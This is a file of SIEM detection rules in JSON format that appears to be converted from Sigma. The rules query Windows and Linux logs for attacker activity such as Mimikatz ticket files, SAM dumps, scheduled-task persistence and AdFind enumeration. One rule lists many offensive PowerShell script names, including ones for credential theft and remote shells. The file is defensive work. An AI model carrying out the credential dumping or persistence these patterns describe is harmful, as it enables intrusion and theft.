{"description":"Detects the creation of a process from Windows task manager Author: Florian Roth. License: ","enabled":false,"false_positives":["Administrative activity"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"3d7679bd-0c00-440c-97b0-3f204273e6c7","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"Taskmgr as Parent","query":"(process.parent.executable:*\\\\taskmgr.exe AND (NOT (process.executable:(*\\\\resmon.exe OR *\\\\mmc.exe OR *\\\\taskmgr.exe))))","meta":{"from":"1m"},"severity":"low","tags":["Defense Evasion","T1036"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1036","name":"Masquerading","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the creation of a schtask via PowerSploit or Empire Default Configuration. Author: Markus Neis, @Karneades. License: ","enabled":false,"false_positives":["False positives are possible, depends on organisation and processes"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"3a55f158-d558-f546-8292-5f26848749c4","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Default PowerSploit and Empire Schtasks Persistence","query":"(process.parent.executable:*\\\\powershell.exe AND process.executable:*\\\\schtasks.exe AND process.command_line:*\\/Create* AND process.command_line:*\\/SC* AND process.command_line:(*ONLOGON* OR *DAILY* OR *ONIDLE* OR *Updater*) AND process.command_line:*\\/TN* AND process.command_line:*Updater* AND process.command_line:*\\/TR* AND process.command_line:*powershell*)","meta":{"from":"1m"},"severity":"high","tags":["Privilege Escalation","T1053","T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1053","name":"Scheduled Task/Job","reference":""},{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]},{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1053","name":"Scheduled Task/Job","reference":""}]},{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1053","name":"Scheduled Task/Job","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the creation of an executable with a system process name in a suspicious folder Author: Sander Wiebing, Tim Shelton. License: ","enabled":false,"false_positives":["System processes copied outside the default folder"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"2d4ae911-23db-733d-4567-7726591f7358","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"File Created with System Process Name","query":"(file.path:(*\\\\svchost.exe OR *\\\\rundll32.exe OR *\\\\services.exe OR *\\\\powershell.exe OR *\\\\regsvr32.exe OR *\\\\spoolsv.exe OR *\\\\lsass.exe OR *\\\\smss.exe OR *\\\\csrss.exe OR *\\\\conhost.exe OR *\\\\wininit.exe OR *\\\\lsm.exe OR *\\\\winlogon.exe OR *\\\\explorer.exe OR *\\\\taskhost.exe OR *\\\\Taskmgr.exe OR *\\\\taskmgr.exe OR *\\\\sihost.exe OR *\\\\RuntimeBroker.exe OR *\\\\runtimebroker.exe OR *\\\\smartscreen.exe OR *\\\\dllhost.exe OR *\\\\audiodg.exe OR *\\\\wlanext.exe) AND (NOT ((file.path:(C\\:\\\\Windows\\\\System32\\\\* OR C\\:\\\\Windows\\\\system32\\\\* OR C\\:\\\\Windows\\\\SysWow64\\\\* OR C\\:\\\\Windows\\\\SysWOW64\\\\* OR C\\:\\\\Windows\\\\winsxs\\\\* OR C\\:\\\\Windows\\\\WinSxS\\\\* OR \\\\SystemRoot\\\\System32\\\\*) AND process.executable:(*\\\\Windows\\\\System32\\\\dism.exe OR *\\\\TiWorker.exe)) OR (file.path:C\\:\\\\$WINDOWS.\\~BT\\\\* AND process.executable:\"C\\:\\\\$WINDOWS.\\~BT\\\\Sources\\\\SetupHost.exe\") OR (file.path:*\\\\RuntimeBroker.exe AND process.executable:\"C\\:\\\\Windows\\\\system32\\\\wbengine.exe\"))))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1036"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1036","name":"Masquerading","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the creation of files that contain Kerberos tickets based on an extension used by the popular tool Mimikatz Author: Florian Roth. License: ","enabled":false,"false_positives":["Unlikely"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"364bed01-3608-ebde-c841-6dafe214a45c","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Mimikatz Kirbi File Creation","query":"file.path:*.kirbi","meta":{"from":"1m"},"severity":"critical","tags":["Credential Access","T1558"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1558","name":"Steal or Forge Kerberos Tickets","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the creation of files that indicator an interactive use of PowerShell in the SYSTEM user context Author: Florian Roth. License: ","enabled":false,"false_positives":["Administrative activity","PowerShell scripts running as SYSTEM user"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"a3b2a022-b0fe-6ae9-6f9e-8127ceb245d0","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious Interactive PowerShell as SYSTEM","query":"file.path:(\"C\\:\\\\Windows\\\\System32\\\\config\\\\systemprofile\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\PowerShell\\\\PSReadLine\\\\ConsoleHost_history.txt\" OR \"C\\:\\\\Windows\\\\System32\\\\config\\\\systemprofile\\\\AppData\\\\Local\\\\Microsoft\\\\Windows\\\\PowerShell\\\\StartupProfileData\\-Interactive\")","meta":{"from":"1m"},"severity":"high","tags":[],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects the creation of files that look like exports of the local SAM (Security Account Manager) Author: Florian Roth. License: ","enabled":false,"false_positives":["Rare cases of administrative activity"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"2bb9eb0b-21bc-f09d-3edb-37b5c332a6a5","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"SAM Dump File Creation","query":"(file.path:(*\\\\Temp\\\\sam OR *\\\\sam.sav OR *\\\\Intel\\\\sam OR *\\\\Perflogs\\\\sam OR *\\\\ProgramData\\\\sam OR *\\\\Users\\\\Public\\\\sam OR *\\\\AppData\\\\Local\\\\sam OR *\\\\AppData\\\\Roaming\\\\sam OR *_ShadowSteal.zip OR *\\\\Documents\\\\SAM.export) OR file.path:\"c\\:\\\\sam\" OR file.path:(*\\\\hive_sam_* OR *\\\\sam.save* OR *\\\\sam.export* OR *\\\\\\~reg_sam.save* OR *\\\\sam_backup* OR *\\\\sam.bck* OR *\\\\sam.backup*))","meta":{"from":"1m"},"severity":"high","tags":["Credential Access","T1003"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1003","name":"OS Credential Dumping","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the creation of known powershell scripts for exploitation Author: Markus Neis. License: ","enabled":false,"false_positives":["Penetration Tests"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"86f8deb6-c419-9cbf-5312-2270fe0ef863","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Malicious PowerShell Commandlet Names","query":"file.path:(*\\\\Invoke\\-DllInjection.ps1 OR *\\\\Invoke\\-WmiCommand.ps1 OR *\\\\Get\\-GPPPassword.ps1 OR *\\\\Get\\-Keystrokes.ps1 OR *\\\\Get\\-VaultCredential.ps1 OR *\\\\Invoke\\-CredentialInjection.ps1 OR *\\\\Invoke\\-Mimikatz.ps1 OR *\\\\Invoke\\-NinjaCopy.ps1 OR *\\\\Invoke\\-TokenManipulation.ps1 OR *\\\\Out\\-Minidump.ps1 OR *\\\\VolumeShadowCopyTools.ps1 OR *\\\\Invoke\\-ReflectivePEInjection.ps1 OR *\\\\Get\\-TimedScreenshot.ps1 OR *\\\\Invoke\\-UserHunter.ps1 OR *\\\\Find\\-GPOLocation.ps1 OR *\\\\Invoke\\-ACLScanner.ps1 OR *\\\\Invoke\\-DowngradeAccount.ps1 OR *\\\\Get\\-ServiceUnquoted.ps1 OR *\\\\Get\\-ServiceFilePermission.ps1 OR *\\\\Get\\-ServicePermission.ps1 OR *\\\\Invoke\\-ServiceAbuse.ps1 OR *\\\\Install\\-ServiceBinary.ps1 OR *\\\\Get\\-RegAutoLogon.ps1 OR *\\\\Get\\-VulnAutoRun.ps1 OR *\\\\Get\\-VulnSchTask.ps1 OR *\\\\Get\\-UnattendedInstallFile.ps1 OR *\\\\Get\\-WebConfig.ps1 OR *\\\\Get\\-ApplicationHost.ps1 OR *\\\\Get\\-RegAlwaysInstallElevated.ps1 OR *\\\\Get\\-Unconstrained.ps1 OR *\\\\Add\\-RegBackdoor.ps1 OR *\\\\Add\\-ScrnSaveBackdoor.ps1 OR *\\\\Gupt\\-Backdoor.ps1 OR *\\\\Invoke\\-ADSBackdoor.ps1 OR *\\\\Enabled\\-DuplicateToken.ps1 OR *\\\\Invoke\\-PsUaCme.ps1 OR *\\\\Remove\\-Update.ps1 OR *\\\\Check\\-VM.ps1 OR *\\\\Get\\-LSASecret.ps1 OR *\\\\Get\\-PassHashes.ps1 OR *\\\\Show\\-TargetScreen.ps1 OR *\\\\Port\\-Scan.ps1 OR *\\\\Invoke\\-PoshRatHttp.ps1 OR *\\\\Invoke\\-PowerShellTCP.ps1 OR *\\\\Invoke\\-PowerShellWMI.ps1 OR *\\\\Add\\-Exfiltration.ps1 OR *\\\\Add\\-Persistence.ps1 OR *\\\\Do\\-Exfiltration.ps1 OR *\\\\Start\\-CaptureServer.ps1 OR *\\\\Invoke\\-ShellCode.ps1 OR *\\\\Get\\-ChromeDump.ps1 OR *\\\\Get\\-ClipboardContents.ps1 OR *\\\\Get\\-FoxDump.ps1 OR *\\\\Get\\-IndexedItem.ps1 OR *\\\\Get\\-Screenshot.ps1 OR *\\\\Invoke\\-Inveigh.ps1 OR *\\\\Invoke\\-NetRipper.ps1 OR *\\\\Invoke\\-EgressCheck.ps1 OR *\\\\Invoke\\-PostExfil.ps1 OR *\\\\Invoke\\-PSInject.ps1 OR *\\\\Invoke\\-RunAs.ps1 OR *\\\\MailRaider.ps1 OR *\\\\New\\-HoneyHash.ps1 OR *\\\\Set\\-MacAttribute.ps1 OR *\\\\Invoke\\-DCSync.ps1 OR *\\\\Invoke\\-PowerDump.ps1 OR *\\\\Exploit\\-Jboss.ps1 OR *\\\\Invoke\\-ThunderStruck.ps1 OR *\\\\Invoke\\-VoiceTroll.ps1 OR *\\\\Set\\-Wallpaper.ps1 OR *\\\\Invoke\\-InveighRelay.ps1 OR *\\\\Invoke\\-PsExec.ps1 OR *\\\\Invoke\\-SSHCommand.ps1 OR *\\\\Get\\-SecurityPackages.ps1 OR *\\\\Install\\-SSP.ps1 OR *\\\\Invoke\\-BackdoorLNK.ps1 OR *\\\\PowerBreach.ps1 OR *\\\\Get\\-SiteListPassword.ps1 OR *\\\\Get\\-System.ps1 OR *\\\\Invoke\\-BypassUAC.ps1 OR *\\\\Invoke\\-Tater.ps1 OR *\\\\Invoke\\-WScriptBypassUAC.ps1 OR *\\\\PowerUp.ps1 OR *\\\\PowerView.ps1 OR *\\\\Get\\-RickAstley.ps1 OR *\\\\Find\\-Fruit.ps1 OR *\\\\HTTP\\-Login.ps1 OR *\\\\Find\\-TrustedDocuments.ps1 OR *\\\\Invoke\\-Paranoia.ps1 OR *\\\\Invoke\\-WinEnum.ps1 OR *\\\\Invoke\\-ARPScan.ps1 OR *\\\\Invoke\\-PortScan.ps1 OR *\\\\Invoke\\-ReverseDNSLookup.ps1 OR *\\\\Invoke\\-SMBScanner.ps1 OR *\\\\Invoke\\-Mimikittenz.ps1)","meta":{"from":"1m"},"severity":"high","tags":["T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the creation of log files during a TeamViewer remote session Author: Florian Roth. License: ","enabled":false,"false_positives":["Legitimate uses of TeamViewer in an organisation"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"084253e9-d8ae-7559-d887-d14b11dc5629","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"TeamViewer Remote Session","query":"(file.path:(*\\\\TeamViewer\\\\RemotePrinting\\\\tvprint.db OR *\\\\TeamViewer\\\\TVNetwork.log) OR (file.path:*\\\\TeamViewer* AND file.path:*_Logfile.log*))","meta":{"from":"1m"},"severity":"medium","tags":["T1219"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects the creation of new Outlook form which can contain malicious code Author: Tobias Michalski. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"90a9e38d-ea7e-6923-94f6-03df79dc8cae","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Outlook Form Installation","query":"(process.executable:\"\\\\outlook.exe\" AND file.path:*\\\\appdata\\\\local\\\\microsoft\\\\FORMS\\\\*)","meta":{"from":"1m"},"severity":"high","tags":["T1137"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1137","name":"Office Application Startup","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the creation of recent element file that points to an .ISO, .IMG, .VHD or .VHDX file as often used in phishing attacks. This can be a false positive on server systems but on workstations users should rarely mount .iso or .img files. Author: Florian Roth. License: ","enabled":false,"false_positives":["Cases in which a user mounts an image file for legitimate reasons"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"7916f230-f0cd-8f67-e7df-da0914a033e0","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"ISO or Image Mount Indicator in Recent Files","query":"(file.path:(*.iso.lnk OR *.img.lnk OR *.vhd.lnk OR *.vhdx.lnk) AND file.path:*\\\\Microsoft\\\\Windows\\\\Recent\\\\*)","meta":{"from":"1m"},"severity":"medium","tags":[],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects the creation of scheduled tasks in user session Author: Florian Roth. License: ","enabled":false,"false_positives":["Administrative activity","Software installation"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"3a5a71be-e5f9-cb59-dec6-456a393b685e","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"Scheduled Task Creation","query":"((process.executable:*\\\\schtasks.exe AND process.command_line:*\\ \\/create\\ *) AND (NOT (user.name:(NT\\ AUTHORITY\\\\SYSTEM* OR AUTORITE\\ NT\\\\Sys*))))","meta":{"from":"1m"},"severity":"low","tags":["Privilege Escalation","T1053"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1053","name":"Scheduled Task/Job","reference":""}]},{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1053","name":"Scheduled Task/Job","reference":""}]},{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1053","name":"Scheduled Task/Job","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the creation of scheduled tasks that involves a temporary folder and runs only once Author: Florian Roth. License: ","enabled":false,"false_positives":["Administrative activity","Software installation"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"f50c6fec-a940-9013-444a-6f390eff692e","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious Scheduled Task Creation Involving Temp Folder","query":"(process.executable:*\\\\schtasks.exe AND process.command_line:*\\ \\/create\\ * AND process.command_line:*\\ \\/sc\\ once\\ * AND process.command_line:*\\\\Temp\\\\*)","meta":{"from":"1m"},"severity":"high","tags":["T1053"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1053","name":"Scheduled Task/Job","reference":""}]},{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1053","name":"Scheduled Task/Job","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the creation of taskmgr.exe process in context of LOCAL_SYSTEM Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"9fff585c-c33e-4a86-b3cd-39312079a65f","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Taskmgr as LOCAL_SYSTEM","query":"(user.name:(NT\\ AUTHORITY\\\\SYSTEM* OR AUTORITE\\ NT\\\\Sys*) AND process.executable:*\\\\taskmgr.exe)","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1036"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1036","name":"Masquerading","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the creation of tasks from processes executed from suspicious locations Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"fee7af81-50c0-0779-fac3-9b04e30f8634","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious Scheduled Task Write to System32 Tasks","query":"(file.path:*\\\\Windows\\\\System32\\\\Tasks* AND process.executable:(*\\\\AppData\\\\* OR *C\\:\\\\PerfLogs* OR *\\\\Windows\\\\System32\\\\config\\\\systemprofile*))","meta":{"from":"1m"},"severity":"high","tags":["T1053"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1053","name":"Scheduled Task/Job","reference":""}]},{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1053","name":"Scheduled Task/Job","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the creation of the PROCEXP152.sys file in the application-data local temporary folder. This driver is used by Sysinternals Process Explorer but also by KDU () or Ghost-In-The-Logs (), which uses KDU. Author: xknow (@xknow_infosec), xorxes (@xor_xes). License: ","enabled":false,"false_positives":["Other legimate tools using this driver and filename (like Sysinternals). Note - Clever attackers may easily bypass this detection by just renaming the driver filename. Therefore just Medium-level and don't rely on it."],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"cf926556-8d4e-c66d-ad8b-f300be7cf6ac","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Suspicious PROCEXP152.sys File Created In TMP","query":"((file.path:*\\\\AppData\\\\Local\\\\Temp\\\\* AND file.path:*PROCEXP152.sys) AND (NOT (process.executable:(*\\\\procexp64.exe* OR *\\\\procexp.exe* OR *\\\\procmon64.exe* OR *\\\\procmon.exe*))))","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1562"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1562","name":"Impair Defenses","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the deactivation and disabling of the Scheduled defragmentation task as seen by Slingshot APT group Author: Florian Roth, Bartlomiej Czyz (@bczyz1). License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"958d81aa-8566-4cea-a565-59ccd4df27b0","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Defrag Deactivation","query":"(process.executable:*\\\\schtasks.exe AND process.command_line:(*\\/delete* OR *\\/change*) AND process.command_line:*\\/TN* AND process.command_line:*\\\\Microsoft\\\\Windows\\\\Defrag\\\\ScheduledDefrag*)","meta":{"from":"1m"},"severity":"medium","tags":["T1053"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1053","name":"Scheduled Task/Job","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the default filename used in PoC code against print spooler vulnerability CVE-2021-1675 Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"af2cf5e4-95f9-b6bc-334f-e7f2fc5eb621","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"CVE-2021-1675 Print Spooler Exploitation Filename Pattern","query":"file.path:*C\\:\\\\Windows\\\\System32\\\\spool\\\\drivers\\\\x64\\\\3\\\\old\\\\1\\\\123*","meta":{"from":"1m"},"severity":"critical","tags":["Privilege Escalation"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects the deletion of a prefetch file (AntiForensic) Author: Cedric MAURUGEON. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"6bb6c835-ce36-27fa-5843-bdf3a492f181","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Prefetch File Deletion","query":"((file.path:C\\:\\\\Windows\\\\Prefetch\\\\* AND file.path:*.pf) AND (NOT (process.executable:\"C\\:\\\\windows\\\\system32\\\\svchost.exe\" AND user.name:(NT\\ AUTHORITY\\\\SYSTEM* OR AUTORITE\\ NT\\\\Sys*))))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1070"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1070","name":"Indicator Removal on Host","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the deletion of registry keys containing the MSTSC connection history Author: Christian Burkard. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"17502594-9007-b68e-15a9-d9f2fb872deb","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Terminal Server Client Connection History Cleared","query":"((winlog.event_data.EventType:\"DeleteValue\" AND winlog.event_data.TargetObject:*\\\\Microsoft\\\\Terminal\\ Server\\ Client\\\\Default\\\\MRU*) OR (winlog.event_data.EventType:\"DeleteKey\" AND winlog.event_data.TargetObject:*\\\\Microsoft\\\\Terminal\\ Server\\ Client\\\\Servers\\\\*))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1070","T1112"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1070","name":"Indicator Removal on Host","reference":""},{"id":"T1112","name":"Modify Registry","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the doas tool execution in linux host platform. Author: Sittikorn S, Teoderick Contreras. License: ","enabled":false,"false_positives":["Unlikely"],"filters":[],"from":"now-360s","immutable":false,"index":["apm-*-transaction","auditbeat-*","endgame-*","filebeat-*","packetbeat-*","winlogbeat-*","logs-*"],"interval":"5m","rule_id":"067d8238-7127-451c-a9ec-fa78045b618b","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"Linux Doas Tool Execution","query":"process.executable:*\\/doas","meta":{"from":"1m"},"severity":"low","tags":["Privilege Escalation","T1548"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the enumeration of other remote systems. Author: Alejandro Ortuno, oscd.community. License: ","enabled":false,"false_positives":["Legitimate administration activities"],"filters":[],"from":"now-360s","immutable":false,"index":["apm-*-transaction","auditbeat-*","endgame-*","filebeat-*","packetbeat-*","winlogbeat-*","logs-*"],"interval":"5m","rule_id":"11063ec2-de63-4153-935e-b1a8b9e616f1","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"Linux Remote System Discovery","query":"((process.executable:*\\/arp AND process.command_line:*\\-a*) OR (process.executable:*\\/ping AND process.command_line:(*\\ 10.* OR *\\ 192.168.* OR *\\ 172.16.* OR *\\ 172.17.* OR *\\ 172.18.* OR *\\ 172.19.* OR *\\ 172.20.* OR *\\ 172.21.* OR *\\ 172.22.* OR *\\ 172.23.* OR *\\ 172.24.* OR *\\ 172.25.* OR *\\ 172.26.* OR *\\ 172.27.* OR *\\ 172.28.* OR *\\ 172.29.* OR *\\ 172.30.* OR *\\ 172.31.* OR *\\ 127.* OR *\\ 169.254.*)))","meta":{"from":"1m"},"severity":"low","tags":["T1018"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0007","reference":"","name":"Discovery"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1018","name":"Remote System Discovery","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the enumeration of other remote systems. Author: Alejandro Ortuno, oscd.community. License: ","enabled":false,"false_positives":["Legitimate administration activities"],"filters":[],"from":"now-360s","immutable":false,"index":["apm-*-transaction","auditbeat-*","endgame-*","filebeat-*","packetbeat-*","winlogbeat-*","logs-*"],"interval":"5m","rule_id":"10227522-8429-47e6-a301-f2b2d014e7ad","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Macos Remote System Discovery","query":"((process.executable:*\\/arp AND process.command_line:*\\-a*) OR (process.executable:*\\/ping AND process.command_line:(*\\ 10.* OR *\\ 192.168.* OR *\\ 172.16.* OR *\\ 172.17.* OR *\\ 172.18.* OR *\\ 172.19.* OR *\\ 172.20.* OR *\\ 172.21.* OR *\\ 172.22.* OR *\\ 172.23.* OR *\\ 172.24.* OR *\\ 172.25.* OR *\\ 172.26.* OR *\\ 172.27.* OR *\\ 172.28.* OR *\\ 172.29.* OR *\\ 172.30.* OR *\\ 172.31.* OR *\\ 127.* OR *\\ 169.254.*)))","meta":{"from":"1m"},"severity":"low","tags":["T1018"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0007","reference":"","name":"Discovery"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1018","name":"Remote System Discovery","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the execution of a AdFind for Active Directory enumeration Author: FPT.EagleEye Team, omkar72, oscd.community. License: ","enabled":false,"false_positives":["Administrative activity"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"75df3b17-8bcc-4565-b89b-c9898acef911","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Suspicious AdFind Execution","query":"(process.command_line:(*objectcategory* OR *trustdmp* OR *dcmodes* OR *dclist* OR *computers_pwdnotreqd*) AND process.executable:*\\\\adfind.exe)","meta":{"from":"1m"},"severity":"medium","tags":["T1018","T1069","T1087","T1482"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0007","reference":"","name":"Discovery"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1018","name":"Remote System Discovery","reference":""},{"id":"T1069","name":"Permission Groups Discovery","reference":""},{"id":"T1087","name":"Account Discovery","reference":""},{"id":"T1482","name":"Domain Trust Discovery","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the execution of a AdFind for enumeration Author: frack113. License: ","enabled":false,"false_positives":["Administrative activity"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"455b9d50-15a1-4b99-853f-8d37655a4c1b","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Suspicious AdFind Enumerate","query":"(process.executable:*\\\\adfind.exe AND (process.command_line:(*lockoutduration* OR *lockoutthreshold* OR *lockoutobservationwindow* OR *maxpwdage* OR *minpwdage* OR *minpwdlength* OR *pwdhistorylength* OR *pwdproperties*) OR process.command_line:*\\-sc\\ admincountdmp* OR process.command_line:*\\-sc\\ exchaddresses*))","meta":{"from":"1m"},"severity":"medium","tags":["T1087"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0007","reference":"","name":"Discovery"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1087","name":"Account Discovery","reference":""}]}],"version":1,"references":[""]}
